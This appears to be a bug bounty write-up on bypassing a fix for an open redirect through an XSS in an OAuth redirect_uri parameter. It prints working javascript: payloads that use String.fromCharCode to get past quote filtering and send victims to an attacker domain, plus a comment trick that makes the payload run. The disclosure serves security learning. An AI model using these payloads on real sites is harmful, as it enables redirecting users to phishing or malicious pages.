I recently got awarded some money for overcoming a fix to an open redirect by using an XSS. Here's how it worked:
Originally, there was an open redirect via the redirect_uri
field. They fixed that one.
However, there was still an XSS possible that they hadn't fixed.
I wondered if I could still exploit this "resolved" bug...
The final payload looked something like this:
https://some.domain.com/mysecureendpoint/xyz?response_type=code&client_id=12345678-90ab-cdef-ghij-xxxyyyzzzxxx&scope=myscope&redirect_uri=javascript%3Awindow.location.replace%28String.fromCharCode%28104%2C116%2C116%2C112%2C58%2C47%2C47%2C101%2C118%2C105%2C108%2C100%2C111%2C106%2C111%2C46%2C99%2C111%2C109%29%29%3B%2F
So, let's look at the payload:
javascript%3Awindow.location.replace%28String.fromCharCode%28104%2C116%2C116%2C112%2C58%2C47%2C47%2C101%2C118%2C105%2C108%2C100%2C111%2C106%2C111%2C46%2C99%2C111%2C109%29%29%3B%2F
When you decode from URL encoding:
javascript:window.location.replace(String.fromCharCode(104,116,116,112,58,47,47,101,118,105,108,100,111,106,111,46,99,111,109));/
The fromCharCode
numbers decode to "http://evildojo.com"
The reason I had to do this is that double and single-quotes were being HTML-encoded in the source code reflected.
I couldn't do:
javascript:window.location.replace("http://evildojo.com");/
As this would get reflected as
javascript:window.location.replace("http://evildojo.com");/
Which, of course, this would not execute.
I thought about it for a while and realized I could try to construct a string using only ASCII values.
Originally I tried concatenating a string from a bunch of individual codes:
javascript:window.location.replace(String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(118)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(106)+String.fromCharCode(111)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109))
This payload did not execute. I believe I would have to encode the plus signs for this one to have worked, but before I got to try that, I discovered String.fromCharCode()
allows for additional parameters past the first, so you could separate each ASCII value with a comma and pass an entire string in using only numbers if you find that single or double quotes are being filtered.
Even once I got the payload set up, it still wouldn't execute, as the javascript surrounding it in the source code for the page was causing a malformed statement.
To overcome this, I added a final forward-slash %2F
at the end of the payload, turning the code that came after it into a comment, and causing the payload to execute.
There's several lessons to learn here:
- NEVER trust that a bug has been fixed. Always go back through old reports, especially if you are stuck and need inspiration.
- Sometimes, you need to step away from the computer for a while and do something else completely unrelated before you'll see something obvious.
- If you find an injection, and quotes+double-quotes are being filtered, try to work with only numbers.
Thank you for your time :)
Top comments (0)